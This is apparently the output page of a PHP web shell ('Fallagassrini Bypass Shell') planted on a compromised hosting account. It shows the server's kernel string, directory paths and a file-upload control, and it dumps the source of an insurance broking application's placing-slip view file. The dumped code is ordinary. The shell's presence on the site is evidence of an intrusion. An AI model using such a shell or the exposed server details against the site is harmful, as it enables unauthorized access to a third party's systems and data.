? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/www/savoyglobal.net/piadraft/system/application/views/Documents/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/www/savoyglobal.net/piadraft/system/application/views/Documents/placingslip.php

<?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');?>
<?php
$this->load->view('header');
$this->load->view('commonfunctions');
$this->load->view('Documents/documentcreation.php');
?>
<script type="text/javascript" src="<?=base_url()?>/assets/js/jquery.form.js"></script>

<script type="text/javascript" src="<?=base_url()?>/assets/js/ui.core.js"></script>
<script type="text/javascript" src="<?=base_url()?>/assets/js/ui.sortable.js"></script>
<script type="text/javascript" src="<?=base_url()?>/assets/js/ui.draggable.js"></script>
<script type="text/javascript">
    $(function() {
		//$("#sortable").sortable();
		//$("#sortable").disableSelection();
                $("#draggable").draggable();
                 $("#draggable1").draggable();
                 $("#templateform").sortable();
		 $("#templateform").disableSelection();
                  $("#extratemplateform").sortable();
		 $("#extratemplateform").disableSelection();
	});
    $(document).ready(function(){
		//Display Loading Image

     viewplacingslip('quotation_ref~placing_slip','1','');


});
function showpaycreditdetails(val)
{

         document.getElementById('hiddentext').value=val;
        if (document.getElementById('paymethod').checked)
            {

                  
                    document.getElementById('modepayment').style.display="block";

            }
        else
                {
                  
                   document.getElementById('modepayment').style.display="none";
                   

                }

}
function showpaymentmode(val)
{
         if (val=="cash")
            {


                    document.getElementById('cash').style.display="block";
                     document.getElementById('credit').style.display="none";
                      document.getElementById('cheque').style.display="none";

            }
             else if (val=="credit")
             {
                   document.getElementById('credit').style.display="block";
                    document.getElementById('cash').style.display="none";
                    document.getElementById('cheque').style.display="none";
                   }
        else
             {
                   document.getElementById('cheque').style.display="block";
                    document.getElementById('cash').style.display="none";
                        document.getElementById('credit').style.display="none";
                   }

}
function hideRows()
{
    document.getElementById('netbankdetails').style.display="none";
    document.getElementById('bankdetails').style.display="none";
   // document.getElementById('modepayment').style.display="none";
    document.getElementById('labelDDNo').style.display="none";
    document.getElementById('labelDDNo1').style.display="none";
}

 function showpaydetails()
    {
        var mode=document.getElementById('paymethod').value;

        if (mode=='netbank' || mode=='bank')
            {
                
                if(mode=='bank')
                {
                    
                    hideRows();
                    document.getElementById('bankdetails').style.display="block";
                    document.getElementById('labelDDNo').style.display="block";
                    

                }
                 else
                 {
                    hideRows();
                    document.getElementById('netbankdetails').style.display="block";
                    document.getElementById('bankdetails').style.display="block";     
                    document.getElementById('labelDDNo1').style.display="block";


                 }
            }
        else if (mode=='credit')
                {
                   hideRows();
                  document.getElementById('modepayment').style.display="block";
                }
        else 
        {

              
               hideRows();
               
          }
          

      }

function loadplacingslip(rwd)
{
    $("#ck_permission").load("<?= site_url('master/check_permissions/') ?>"+"/"+rwd,function(data)
    {
        if(data==1)
        {
            $("#pslipdiv").empty().html('<CENTER><img src="<?=base_url()?>/assets/images/loading.gif" class="loading"/></CENTER>');
            $("#pslipdiv").load("<?= site_url('documents/ajaxload/createpslip/broking_slip') ?>");
        }
    });
}


function viewplacingslip(searchoption,pagenum,searchtext)
{
     $("#pslipdiv").empty().html('<CENTER><img src="<?=base_url()?>/assets/images/loading.gif" class="loading"/></CENTER>');
    // $("#pslipdiv").load("<?= site_url('documents/ajaxload/createpslip/broking_slip/') ?>");
     $('#pslipdiv').load("<?php echo site_url('documents/search_placingslip/viewplacingslip/'); ?>/"+searchoption+'/'+pagenum+'/'+searchtext);
}

function showbrokingslipdiv()
{
    $("#inline_example1").empty().html('<CENTER><img src="<?=base_url()?>/assets/images/loading.gif" class="loading"/></CENTER>');

    $("#inline_example1").load("<?= site_url('documents/ajaxload/searchbrokingslip/broking_slip') ?>");
    $("#loadbro").colorbox({width:"67%",height:"70%", inline:true, href:"#inline_example1"});
}

function searchbslip(serctext,seloption,pageno)
{   
$("#brokingsliplist").empty().html('<CENTER><img src="<?=base_url()?>/assets/images/loading.gif" class="loading"/></CENTER>');
 $('#brokingsliplist').load("<?php echo site_url('documents/search_brokingslip/loadbrokingsliplistforps/'); ?>/"+  seloption   + "/" +pageno+ "/"+serctext);
}





function checkps(divid,bid)
{
   
    $('#'+divid).load("<?php echo site_url('documents/broke_exist/'); ?>"+"/"+bid,function(data)
    {
       if(data>0)
       {
          alert('Placing Slip already created ');
         
         
       }
       else
           {
             usebrokingslip(bid)
           }
     });

}

function usebrokingslip(id)
{
   
   $("#templateform").empty().html('<CENTER><img src="<?=base_url()?>/assets/images/loading.gif" class="loading"/></CENTER>');
   $('#templateform').load("<?php echo site_url('documents/edit/loadbrokingslip/broking_slip/id/') ?>"+"/" +id);
   
   $.fn.colorbox.close();
}



function submitpslip()
{



      if(validateform('cover','insured','quotation_ref'))
        {

       
     
                   $('.new1').ajaxForm({

                       beforeSubmit:      showPreloaderform('pslipdiv'),
                       success:function(data) {



                        
			editplacingslip(1,data,1);

                       }

                        // payment(data);

		});


              // }

        }
        else
        {
             return false;
        }
}
function updatepslip()
{
 


      if(validateform('cover','insured','quotation_ref'))
        {

        

                   $('.news').ajaxForm({

                       beforeSubmit:      showPreloaderform('pslipdiv'),
                       success:function(data) {



                        // alert(data);
			editplacingslip(1,data,1);
                       }



                        // payment(data);

		});


              // }

        }
        else
        {
             return false;
        }
}

function showtempdet(val)
{
    if(val)
    {
	document.getElementById('shdivtemp').style.display='block';
    }
    else
    {
	document.getElementById('shdivtemp').style.display='none';
    }
}

function showcustdiv()
{
    $("#inline_example1").empty().html('<CENTER><img src="<?=base_url()?>/assets/images/loading.gif" class="loading"/></CENTER>');

    $("#inline_example1").load("<?= site_url('documents/ajaxload/searchcustomer/customers/') ?>");
    $("#inliexample1").colorbox({width:"65%",height:"70%", inline:true, href:"#inline_example1"});
}

function showcoverdiv()
{
    $("#inline_example1").empty().html('<CENTER><img src="<?=base_url()?>/assets/images/loading.gif" class="loading"/></CENTER>');

    $("#inline_example1").load("<?= site_url('documents/ajaxload/searchcover/segment_insurances') ?>");
    $("#inliexample1").colorbox({width:"67%",height:"70%", inline:true, href:"#inline_example1"});
}

function searchtemplate(cover_id)
{   $("#templatelist").empty().html('<CENTER><img src="<?=base_url()?>/assets/images/loading.gif" class="loading"/></CENTER>');
   $('#templatelist').load("<?php echo site_url('documents/viewtemplate/'); ?>/"+  cover_id  + "/2");
}

function usetemplate(id,cover,cover_id)
{ $("#templateform").empty().html('<CENTER><img src="<?=base_url()?>/assets/images/loading.gif" class="loading"/></CENTER>');
    
   $('#templateform').load("<?php echo site_url('documents/edit/loadtemplateform/template/id/') ?>"+"/" +id);
   $("input#cover").val(cover);
  
   
   $("input#coverid").val(cover_id);
  
   $.fn.colorbox.close();
}
function paginationdatasearch(pageNum,seloption,serctext)
    {
//alert("<?php echo site_url('documents/search_placingslip/viewplacingslip/'); ?>/"+  seloption  + "/" +pageNum+ "/"+serctext);
         serctext = serctext.replace(/ /g,"~");
        serctext = serctext.replace(/\//g,"_");
         $("#pslipdiv").empty().html('<CENTER><img src="<?=base_url()?>/assets/images/loading.gif" class="loading"/></CENTER>');
        $('#pslipdiv').load("<?php echo site_url('documents/search_placingslip/viewplacingslip/'); ?>/"+  seloption  + "/" +pageNum+ "/"+serctext);
    }

function searchCust(serctext,seloption,page)
{  
    $("#custlist").empty().html('<CENTER><img src="<?=base_url()?>/assets/images/loading.gif" class="loading"/></CENTER>');
    $('#custlist').load("<?php echo site_url('documents/listSearchcustomer/'); ?>/"+  seloption  + "/" +page+ "/" +serctext );
 
}


function usecust(code,insured,phone,email,business,id)
{
     $("input#insured").val(insured);
     $("input#business").val(business);
    
    document.getElementById('custdet').innerHTML="<fieldset><li><label>Customer Name</label><label>"+insured+"</label></li>\n\
    <li><label>Customer Code</label><label>"+code+"</label></li><li><label>Office Phone</label><label>"+phone+"</label></li>\n\
    <li><label>Email</label><label>"+email+"</label><input type='hidden' name='cust_id' value='"+id+"'/></li></fieldset>";
     $.fn.colorbox.close();

}
function viewquotationplacingslip(rwd,id)
    {
       
     $("#ck_permission").load("<?= site_url('master/check_permissions/') ?>"+"/"+rwd,function(data)
  {
  if(data==1)
       {
     $("#pslipdiv").empty().html('<CENTER><img src="<?=base_url()?>/assets/images/loading.gif" class="loading"/></CENTER>');
      $("#pslipdiv").load("<?= site_url('documents/viewquotationplacingslip/viewplacingslipquotation/id/') ?>" +"/" +id);
       }

  });



    }
    
    function editplacingslip(rwd,id,plid)
    {
    
        $("#ck_permission").load("<?= site_url('master/check_permissions/') ?>"+"/"+rwd,function(data)
  {
  if(data==1)
       {
     $("#pslipdiv").empty().html('<CENTER><img src="<?=base_url()?>/assets/images/loading.gif" class="loading" /></CENTER>');
     $("#pslipdiv").load("<?= site_url('documents/edit/editplacingslip/placing_slip/id/') ?>"+"/" +id+"/" +plid);


   }

  });


       
    }
    
     
    
    function payment(id)
    {

 
        $("#templateform").empty().html("");
	$("#payamountform").empty().html("");
	$("#paymentform").empty().html('<CENTER><img src="<?=base_url()?>/assets/images/loading.gif" class="loading" /></CENTER>');
         $("#paymentform").load("<?= site_url('documents/payment/pslippayment/placing_slip/id/') ?>"+"/" +id);
    
    }
    function viewpayment(id)
    {	$("#customtemplate").empty().html("");
	$("#paymamounttemplate").empty().html("");
	$("#paymenttemplate").empty().html('<CENTER><img src="<?=base_url()?>/assets/images/loading.gif" class="loading" /></CENTER>');
         $("#paymenttemplate").load("<?= site_url('documents/payment/viewpslippayment/placing_slip/id/') ?>"+"/" +id);
    
    }
    
    function payamount(id)
    {
       
	$("#templateform").empty().html("");
	$("#paymentform").empty().html("");
	$("#payamountform").empty().html('<CENTER><img src="<?=base_url()?>/assets/images/loading.gif" class="loading" /></CENTER>');
         $("#payamountform").load("<?= site_url('documents/payment/payamountslippayment/placing_slip/id/') ?>"+"/" +id);
    }

    



    function viewpayamount(id)
    {	$("#paymenttemplate").empty().html("");
	$("#customtemplate").empty().html("");
	$("#paymamounttemplate").empty().html('<CENTER><img src="<?=base_url()?>/assets/images/loading.gif" class="loading" /></CENTER>');
         $("#paymamounttemplate").load("<?= site_url('documents/payment/viewpayamountslippayment/placing_slip/id/') ?>"+"/" +id);
    }
    
    
    var shccounter=0;
    
    function installmentshedule()
    {
	document.getElementById('installmentlist').innerHTML="";
	noofinstallments=document.getElementById('noofinstallment').value;
	 if(isNaN(noofinstallments))
	 {
	    alert("Enter Numerical Value");
	    return false;
	 }
	 var sno=1;
	 
	 var shccounter=1;
	for(var cnn=0; cnn<noofinstallments;cnn++)
	{
	    var newschedulelist = document.createElement('table');
	    var idname="instshedule"+sno;
	    newschedulelist.innerHTML="<tr><td>" + sno + "</td><td><input type='text' name='crdate[]' style='background-image: url(../../../../assets/images/datefocus.gif);' class='one' id='crdate" + sno +"' value=<?=date("d-m-Y")?> readonly/></td><td><input type='text' name='creditamount[]' id='creditamount"+sno+"'/></td><td><textarea name='creditdescription[]' id='creditdescription"+sno+"'/></textarea></td></tr></table>";
	    sno++;
	    newschedulelist.setAttribute('id',idname);
	    document.getElementById('installmentlist').appendChild(newschedulelist);
	}
	
    }
    
    function installmentperiod(Interval)
    {
	var maxval=document.getElementById('noofinstallment').value;
	var TodaysDate = new Date();
	for(var count=1; count<=maxval;count++)
	{
	    TodaysDate.setDate(TodaysDate.getDate()+  parseInt(Interval));
	    document.getElementById('crdate' + count).value=TodaysDate.getFullYear()  + "-" + (TodaysDate.getMonth()+1) + "-" + TodaysDate.getDate();
	}
    }
    
    function installmentamount(amount)
    {
	var maxval=document.getElementById('noofinstallment').value;
	var total_premi_amt=document.getElementById('preamt').value;
	if( (parseInt(maxval)* parseInt(amount) )>  parseInt(total_premi_amt) )
	{
	    alert("entered value is greateg than premium amount \n installment amount is" + (parseInt(total_premi_amt)/ parseInt(maxval) ));
	    return false;
	}
	else if((parseInt(maxval)* parseInt(amount) )<  parseInt(total_premi_amt))
	{
	    alert("entered value is less than premium amount \n installment amount is" + (parseInt(total_premi_amt)/ parseInt(maxval) ));
	    return false;
	}
	
	for(var count=1; count<=maxval;count++)
	{
	    document.getElementById('creditamount' + count).value=amount;
	}
    }
   
    
//    function insertinstallment()
//    {
//	var maxval=document.getElementById('noofinstallment').value;
//	var placingslip=document.getElementById('insurance_company_id').value;
//	var datas = new Array(parseInt(maxval)-1);
//
//	for (var i=1; i <= maxval; i++)
//	{
//	    var amt=document.getElementById('creditamount' + i).value;
//	    var dt=document.getElementById('crdate' + i).value;
//	    var des=document.getElementById('creditdescription' + i).value;
//	    datas[i-1]= amt + ',' + dt + ',' + des;
//	} 
//
//	$.post("<?php echo site_url('documents/insertInstallment/'); ?>",{'name[]':datas,'pslipid':placingslip},
//	function(data)
//	{
//	    alert(data) ;   
//	});
//
//    
//    }
function showplacingslipstatus(id)
    {
    $("#inline_example1").empty().html('<CENTER><img src="<?=base_url()?>/assets/images/loading.gif" class="loading"/></CENTER>');

    $("#inline_example1").load("<?= site_url('documents/showstatus/showplacingslipstatus/') ?>"+"/" +id);
    $(".status").colorbox({width:"70%",height:"70%", inline:true, href:"#inline_example1"});
    }


    

    function search_placingslip(seloption,serctext)
    {


        if(seloption=='quotation_date~broking_slip' )
        {
           serctext=serctext.replace(/\//gi,'-')
        }
            serctext = serctext.replace(/ /g,"~");
            serctext = serctext.replace(/\//g,"_");
          

    $("#pslipdiv").empty().html('<CENTER><img src="<?=base_url()?>/assets/images/loading.gif" class="loading" /></CENTER>');
    $('#pslipdiv').load("<?php echo site_url('documents/search_placingslip/viewplacingslip/'); ?>/"+  seloption   + "/" +1+ "/"+serctext);

    }

    function addpolicynote(id)

{

    $("#polidiv").empty().html('<CENTER><img src="<?=base_url()?>/assets/images/loading.gif" class="loading"/></CENTER>');

    $("#polidiv").load("<?= site_url('policies/addquickpolicynote/') ?>/"+id);
    $(".endpol").colorbox({width:"35%",height:"55%", inline:true, href:"#polidiv"});

}

function addpolicynoteno()
{

   var qref=document.getElementById('qref').value ;

   var date=document.getElementById('date').value ;

   var policyno=document.getElementById('policyno').value ;

   var recdate=document.getElementById('recdate').value ;





               if(validateform('policyno'))
                        {

                        $.ajax({
                                  type: 'POST',
                                  url: '<?php echo site_url('policies/addquickpolicynoteno/'); ?>',
                                  data: "qref="+qref+"&date="+date+"&policyno="+policyno+"&recdate="+recdate,

                                  success: function(data)
                                    {
                                          alert(data);

                                          $.fn.colorbox.close();
                                          viewplacingslip('quotation_ref~placing_slip','1','');

                                    }

                                });


                        }


    }



    function usebrokingslipfromquotation(code)
    {
    

        if(code=="")
        {
            alert("Please enter the quotation reference")
            return false;
        }

        else
            {

                    code=code.replace(/\//g, '~');
                    
                    $.ajax({

                   type: "POST",
                   url: "<?= site_url('documents/checkbrokingslipexist/') ?>/"+code,
                   success: function(msg){

                   
                    if(msg==0)
                   {
                  
                   $("#templateform").empty().html();
                   alert("No Broking Slip created");



                   }
                   else
                   {
                    checkps('polidiv',msg);
                    
                   }
                             }

                   });


               }
    }
    
    
</script>


<div id="main">
<?php
$this->load->view('menu');
?>
	<div id="middle">
		<?php
                        $this->load->view('leftbar');
                ?>
		<div id="center-column">

                    <?php
                        $this->load->view('topbar');
                    ?>
			
		
		 <div class="table">


                <div id="successdiv" align="center"></div>

            


               

                <p>&nbsp;</p>
                <div id="pslipdiv">


                      </div>
                <div style='display:none'>
                <div id='polidiv' style='padding:10px; background:#fff;'>

                </div> </div>
                 <div style='display:none'>
                <div id='inline_example1' style='padding:10px; background:#fff;'>

                        </div>
                 </div>
                
            <div id="loading" align="center"></div>
		  </div>
		</div>

	</div>
    
	<?php
        $this->load->view('footer');
        ?>

</div>

<div id="hidde" style="display:none"></div>
</body>
</html>

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net